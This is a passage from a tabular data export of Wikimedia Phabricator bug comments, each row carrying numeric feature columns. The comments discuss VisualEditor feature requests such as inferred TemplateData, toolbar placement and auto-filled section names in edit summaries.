peace.",,,1375943106,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,5,,2.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,10.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.5172413793103448,0.8620689655172413,"templatewizard on hewiki implements this logic using 9 lines on JS, (so PHP  should probably be able to accomplish that with no more than 50 lines). might not be perfect, but it works for a long time now, and i did not get any bug report yet.

peace."
241501,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"This is something we're unlikely to get to do soon, as it would require a vast amount of work (and, indeed, Strong AI to do properly). However, it would be a great improvement, yes.",,,1375937039,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,True,,,5,,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,11.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,7.0,11.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.75,"This is something we're unlikely to get to do soon, as it would require a vast amount of work (and, indeed, Strong AI to do properly). However, it would be a great improvement, yes."
241492,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"i added a ""see also"" to bug 52581.

the idea is not to change anything with VE itself, but rather to teach teh TemplateData extension to return a ""cookie cutter"" templatedata through the API if it does not find ""templatedata"" tag on the template page.

this way, all existing functionality, with all the neat thing one can do with templatedata will still work, and still, VE will be usable for template editing even without it.

also, i think that programmatically, the right place to handle the issue is in the templatedata extension and not in VE itself (in addition to being cleaner and shorter code, there might be other scripts and tools that want to use the templatedata API. even if these were not a consideration, the templatedata extension is the right place to deal with templatedata shortcomings).


peace.",,,1375882556,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,5,,1.0,0.5,0.0,0.0,2.0,4.0,4.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,1.0,0.5,6.5,12.0,0.5,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.5,3.5,1.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,0.5,0.5,14.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,7.0,4.0,3.0,1.5,3.0,9.5,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,4.0,12.0,2.5,0.0,3.0,0.0,4.0,0.0,0.5,1.5,1.0,1.0,1.0,0.0,0.0,4.114457831325301,0.6686746987951807,"i added a ""see also"" to bug 52581.

the idea is not to change anything with VE itself, but rather to teach teh TemplateData extension to return a ""cookie cutter"" templatedata through the API if it does not find ""templatedata"" tag on the template page.

this way, all existing functionality, with all the neat thing one can do with templatedata will still work, and still, VE will be usable for template editing even without it.

also, i think that programmatically, the right place to handle the issue is in the templatedata extension and not in VE itself (in addition to being cleaner and shorter code, there might be other scripts and tools that want to use the templatedata API. even if these were not a consideration, the templatedata extension is the right place to deal with templatedata shortcomings).


peace."
53951,VisualEditor: Allow preference to move toolbar to over navigation sidebar,"The editor an en.wp who signs as ""Josh, linguist"" has left the following suggestion about toolbar placement in the Visual Editor:

""I've encountered a sort of inconvenience which is the following: while editing, the toolbar occupies a significant area in the upper third visually and otherwise blocking the text, when we, at the same time, usually have an unoccupied area to the left (where the navigation column is which is often empty much below the existing items); the question is why not to devise a possibility, an option to change its place — I mean the toolbar could be opted to place it either where it's offered to be now – or, otherwise, on the left side of the pane – where it should not be blocking an essential area of the text to edit, in this case the text available without scrolling will be by, approximately (depending on your zoom), a half more than it is now.""

For RTL wikis read ""right"" instead of ""left"".

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1374662220,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ks4nmmzc4p4mogffuzxg,task_description,open,True,c1,3,False,False,,3,,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,4.666666666666667,1.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,6.0,9.0,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,9.666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,9.0,3.3333333333333335,4.0,2.0,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3333333333333335,9.0,2.3333333333333335,0.0,3.3333333333333335,0.0,3.3333333333333335,0.0,2.6666666666666665,3.0,0.0,3.0,0.3333333333333333,0.0,0.0,3.8981481481481484,0.7083333333333334,"The editor an en.wp who signs as ""Josh, linguist"" has left the following suggestion about toolbar placement in the Visual Editor:

""I've encountered a sort of inconvenience which is the following: while editing, the toolbar occupies a significant area in the upper third visually and otherwise blocking the text, when we, at the same time, usually have an unoccupied area to the left (where the navigation column is which is often empty much below the existing items); the question is why not to devise a possibility, an option to change its place — I mean the toolbar could be opted to place it either where it's offered to be now – or, otherwise, on the left side of the pane – where it should not be blocking an essential area of the text to edit, in this case the text available without scrolling will be by, approximately (depending on your zoom), a half more than it is now.""

For RTL wikis read ""right"" instead of ""left"".

--------------------------
**Version**: unspecified
**Severity**: enhancement"
421750,VisualEditor: Allow preference to move toolbar to over navigation sidebar,"In that case, though, we'd only really have room for six toolbar options and then ""…"", which I'm not sure is much better. :-(",,,1425591680,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ks4nmmzc4p4mogffuzxg,task_subcomment,,True,c1,3,True,,,87,,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.1875,0.90625,"In that case, though, we'd only really have room for six toolbar options and then ""…"", which I'm not sure is much better. :-("
421749,VisualEditor: Allow preference to move toolbar to over navigation sidebar,"Hmm, interesting idea. Lack of vertical space is especially a problem when using an on-screen keyboard, like on a tablet.

{F56237}",,,1425591542,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ks4nmmzc4p4mogffuzxg,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,3.7333333333333334,0.8666666666666667,"Hmm, interesting idea. Lack of vertical space is especially a problem when using an on-screen keyboard, like on a tablet.

{F56237}"
253308,VisualEditor: Allow preference to move toolbar to over navigation sidebar,"This is an interesting idea, and one worth exploring; right now, the team are focussed on squashing bugs, performance fixes, and core usability experience improvements, so I'm marking this as ""Lowest"" priority for now to avoid cookie-licking.",,,1379657567,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ks4nmmzc4p4mogffuzxg,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,4.204081632653061,0.8571428571428571,"This is an interesting idea, and one worth exploring; right now, the team are focussed on squashing bugs, performance fixes, and core usability experience improvements, so I'm marking this as ""Lowest"" priority for now to avoid cookie-licking."
53903,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","one thing that makes life better with existing editor is the fact that when editing a specific section, the section name is automatically added to the edit summary. often, this ends up being the entire edit summary.

REQUESTED ACTION
1) when hitting ""save"", test to see if all the diffs are contained in a single section, and if so, add the section name to the edit summary automatically.
2) just like with existing editor, allow the user to modify or remove this part. i.e., the request is to pre-populate the summary box, not to add section name outside of summary box such that the user can't touch it.

peace.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**: T54859, T50274, T52872, T60488",Lowest,10.0,1374605160,,PHID-USER-akv4ingxkspiiam6r2n4,False,,False,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_description,open,True,c1,3,False,False,,3,,0.5,0.0,0.0,1.0,1.0,3.0,1.5,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,8.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,1.0,0.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,14.5,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,7.0,2.5,6.0,3.0,1.0,8.5,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,0.5,8.5,2.5,0.0,1.0,0.0,0.5,0.0,1.5,1.0,0.0,2.0,0.5,0.0,1.0,3.747705106138841,0.6287292025243832,"one thing that makes life better with existing editor is the fact that when editing a specific section, the section name is automatically added to the edit summary. often, this ends up being the entire edit summary.

REQUESTED ACTION
1) when hitting ""save"", test to see if all the diffs are contained in a single section, and if so, add the section name to the edit summary automatically.
2) just like with existing editor, allow the user to modify or remove this part. i.e., the request is to pre-populate the summary box, not to add section name outside of summary box such that the user can't touch it.

peace.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**: T54859, T50274, T52872, T60488"
397403,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary",">>! In T53903#959238, @matmarex wrote:
>> The scope of the bug is bigger than that?
>  
> Yes:
>  
> - When the user edits text in other sections too, this hint shouldn't appear.
> - When the user opens VE using the ""Edit"" tab at the top and only edits one section, the appropriate hint should appear.

what he said.
with VE, the ""edit"" links to the right (or left, in rtl wikis) of the section title are misleading: unlike wikieditor, where clicking one of those will limit the changes to this section, with VE there no such limitation. 

IMO, the current VE behavior is wrong and misleading (T60488 agrees with this view). when looking at page history, i don't care which thingy the editor clicked to start the editor - i want to know which changes this edit contains.
if you do not _know_ that the changes are limited to some section, please don't tell me they are. (and, on the other hand, if you _do_ know such a thing, it would be nice if you told me).

peace.",,,1420824665,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,79,,0.5,0.0,0.0,0.5,1.5,3.0,1.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,0.0,2.5,0.5,4.0,9.5,0.0,1.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,7.5,1.5,0.5,1.0,1.5,0.0,0.0,0.0,0.5,0.5,1.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,11.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,5.5,2.5,6.0,3.5,1.5,11.5,0.0,0.0,0.0,0.0,4.5,0.5,0.5,0.0,5.5,9.5,5.5,0.0,1.0,0.0,5.5,0.0,2.5,0.5,1.0,1.5,0.0,0.0,0.0,3.3920743116813687,0.6186180165731088,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

what he said.
with VE, the ""edit"" links to the right (or left, in rtl wikis) of the section title are misleading: unlike wikieditor, where clicking one of those will limit the changes to this section, with VE there no such limitation. 

IMO, the current VE behavior is wrong and misleading (T60488 agrees with this view). when looking at page history, i don't care which thingy the editor clicked to start the editor - i want to know which changes this edit contains.
if you do not _know_ that the changes are limited to some section, please don't tell me they are. (and, on the other hand, if you _do_ know such a thing, it would be nice if you told me).

peace."
396126,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","> The scope of the bug is bigger than that?
 
Yes:
 
- When the user edits text in other sections too, this hint shouldn't appear.
- When the user opens VE using the ""Edit"" tab at the top and only edits one section, the appropriate hint should appear.",,,1420635773,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,79,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,12.0,4.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.56,0.7,"QUOTE
 
Yes:
 
- When the user edits text in other sections too, this hint shouldn't appear.
- When the user opens VE using the ""Edit"" tab at the top and only edits one section, the appropriate hint should appear."
394155,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","Curret behavior in production:

- click on Edit on a section on a page
- make changes to that section - click Save
- Save dialog box - 'Edit summary' box will pre-populated with the title of a section that was edited: 
/* Section 3 */ 
- 'Review your changes' will have an additional pointer to the section that was edited:
Preview of edit summary:
(→‎Section 3: )

The scope of the bug is bigger than that?
",,,1419970531,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,78,,0.0,0.0,0.0,1.5,0.0,3.0,1.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.5,0.0,10.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,6.0,2.5,6.5,0.0,0.0,7.5,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,1.0,7.5,2.5,1.0,3.0,0.0,1.0,0.0,1.5,2.5,0.0,0.0,1.0,0.0,0.0,3.3449019607843136,0.6837254901960784,"Curret behavior in production:

- click on Edit on a section on a page
- make changes to that section - click Save
- Save dialog box - 'Edit summary' box will pre-populated with the title of a section that was edited: 
/* Section 3 */ 
- 'Review your changes' will have an additional pointer to the section that was edited:
Preview of edit summary:
(→‎Section 3: )

The scope of the bug is bigger than that?
"
250241,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","(In reply to Elitre from comment #8)
> Isn't this the current behavior (for various meanings of ""section editing"")?

No. This is asking for VE-MW to insert the name of the section edited if only one section was edited, even if the editor was launched from a page-level link. Doing it when the user clicks a section edit link was bug 50872 and is indeed done. Not doing it when the user clicks a section edit link and then edits outside the link is bug 58488.",,,1412985721,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,66,,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,11.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,10.0,5.0,2.0,11.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,2.0,11.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5568181818181817,0.6363636363636364,"(In reply to Elitre from comment #8)
QUOTE

No. This is asking for VE-MW to insert the name of the section edited if only one section was edited, even if the editor was launched from a page-level link. Doing it when the user clicks a section edit link was bug 50872 and is indeed done. Not doing it when the user clicks a section edit link and then edits outside the link is bug 58488."
250238,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","Isn't this the current behavior (for various meanings of ""section editing"")?",,,1412929540,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,66,,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.9411764705882353,"Isn't this the current behavior (for various meanings of ""section editing"")?"
250233,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary",*** Bug 56891 has been marked as a duplicate of this bug. ***,,,1384842568,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56891 has been marked as a duplicate of this bug. ***
250225,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary",(Thanks Matthew!),,,1376512668,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,(Thanks Matthew!)
250218,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","(In reply to comment #4)
> A user at it.wp wonders: if VE could pre-populate the summary box, could it
> also auto-add the text that was added, in case of very short additions? i.e.,
> if someone added a parameter to a template, could it automatically detect
> what was added and write it in the edit summary? Thanks.

Yes, in theory, but in my opinion, that's a separate bug.  Filed as bug 52859.",,,1376506478,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,3.0,3.0,5.0,0.0,3.0,13.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.8205128205128207,0.717948717948718,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

Yes, in theory, but in my opinion, that's a separate bug.  Filed as bug 52859."
250208,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","A user at it.wp wonders: if VE could pre-populate the summary box, could it also auto-add the text that was added, in case of very short additions? i.e., if someone added a parameter to a template, could it automatically detect what was added and write it in the edit summary? Thanks.",,,1376403025,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,6,,0.0,2.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,3.0,5.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,11.0,2.0,3.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,3.7142857142857144,0.7142857142857143,"A user at it.wp wonders: if VE could pre-populate the summary box, could it also auto-add the text that was added, in case of very short additions? i.e., if someone added a parameter to a template, could it automatically detect what was added and write it in the edit summary? Thanks."
250201,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","You're right, this isn't a duplicate; I'm re-opening and titling it to be clearer.",,,1375199919,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,0.0,3.1363636363636362,1.0,"You're right, this isn't a duplicate; I'm re-opening and titling it to be clearer."
250195,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","**ignatzmice.wiki** wrote:

I agree with kipod's comments at bug 50872, this bug is not a duplicate if that one. This would be a very useful feature (if rather resource-intensive).",,,1375138221,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,2.0,0.0,2.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.558139534883721,0.8372093023255814,"**ignatzmice.wiki** wrote:

I agree with kipod's comments at bug 50872, this bug is not a duplicate if that one. This would be a very useful feature (if rather resource-intensive)."
250191,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","

*** This bug has been marked as a duplicate of bug 50872 ***",,,1374605494,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50872 ***"
53782,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,"The basic idea is to have a clear and pleasant-to-use web-based interface for generating a MediaWiki instance manifest. The interface should allow you to tick off the extensions you want, for example, and it would automate the configuration of supporting software like Apache and memcached. There's an attractive example of such an interface at <https://puphpet.com/>.

